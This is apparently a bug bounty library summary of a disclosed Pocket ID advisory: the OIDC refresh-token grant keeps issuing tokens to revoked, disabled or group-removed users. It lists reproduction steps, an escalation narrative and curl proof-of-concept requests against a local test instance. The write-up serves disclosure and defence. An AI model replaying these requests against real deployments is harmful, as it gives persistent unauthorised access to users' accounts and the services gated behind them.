# Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions

Pocket ID's OIDC refresh flow skips re-checking authorization state, so revoked, disabled, or group-removed users keep minting fresh 30-day tokens.

- Payout: Research
- Severity: high
- Program: Pocket ID
- Found by: kodareef5
- Disclosed: 2026-07-28
- CVE: CVE-2026-43983
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w6p7-2fxx-4f44
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w6p7-2fxx-4f44
- Tags: area:web domain:api domain:web impact:ato impact:internal-access kind:research platform:ghsa sev:high tech:go tech:oidc technique:source-review vuln:access-control vuln:auth-bypass

**Target:** OIDC token endpoint (refresh_token grant) in Go backend
**Root cause:** createTokenFromRefreshToken validates the refresh token JWT, client credentials, and stored token record but never re-checks user.Disabled, the UserAuthorizedOidcClient record, or IsUserGroupAllowedToAuthorize. RevokeAuthorizedClient deletes only the authorization record, leaving refresh tokens orphaned with no FK cascade.
**Steps:**
1. Obtain a refresh token via authorization_code grant: `POST /api/oidc/token` with `grant_type=authorization_code&code=$AUTH_CODE&client_id=...&client_secret=...&redirect_uri=...`
2. Revoke the client authorization: `DELETE /api/oidc/users/me/authorized-clients/<clientId>` returns 204
3. Replay refresh: `POST /api/oidc/token` with `grant_type=refresh_token&refresh_token=$REFRESH&client_id=...&client_secret=...` returns 200 with new access_token, id_token (PII), and rotated refresh_token
4. Variant 2: admin sets `{"disabled":true,...}` via `PUT /api/users/<id>`; session `/api/users/me` returns 401 but refresh still returns 200 and `/api/oidc/userinfo` still leaks profile
5. Variant 3: remove user from group via `PUT /api/user-groups/<id>/users` with `{"userIds":[...]}`; group-restricted client's refresh still succeeds
**How found:** Code review of createTokenFromRefreshToken enumerating its checks (JWT, client creds, stored token, client match) and noticing the authorization-state checks present elsewhere (auth middleware, IsUserGroupAllowedToAuthorize) were absent; then noticing RevokeAuthorizedClient deletes only the authorization row with no FK cascade to oidc_refresh_tokens. Verified live against Docker e2e build with 20 assertions.
**Exploitation:** Attacker is the OIDC client operator (or holds a stolen refresh token) with client credentials. After the user revokes access, is disabled, or is removed from allowed groups, the attacker repeatedly calls the token endpoint with grant_type=refresh_token, each call rotating to a fresh 30-day token and yielding an id_token containing name, email, groups and custom claims. Perpetual access to downstream services gated by Pocket ID.
**Escalation:** Token rotation with 30-day expiry each cycle makes access indefinite; disabled-account variant turns a terminated employee's client into a persistent backdoor into Git/CI/CD/infra gated by Pocket ID.
**Insight:** When a token-issuance path re-validates cryptographic integrity but not mutable authorization state, enumerate every state-change endpoint (revoke, disable, group edit, session end) and check whether it cascades to the token store; refresh-token tables often lack FKs to authorization records, so revocation silently orphans them.

## Proof of concept (copied exactly from the original report)

**Refresh token still works after authorization revocation**

```
# ATTACK: Refresh token STILL WORKS after revocation
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with new access_token, id_token (containing PII), and refresh_token (new 30-day expiry)
```

**Refresh token works for disabled user**

```
# ATTACK: Refresh token STILL WORKS for disabled user
curl -s -X POST http://localhost:1411/api/oidc/token \
  -d "grant_type=refresh_token&refresh_token=$REFRESH&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY"
# Returns 200 with full token set
```

**Refresh token works after group removal**

```
# ATTACK: Refresh token STILL WORKS after group removal
# Returns 200 with new tokens
```

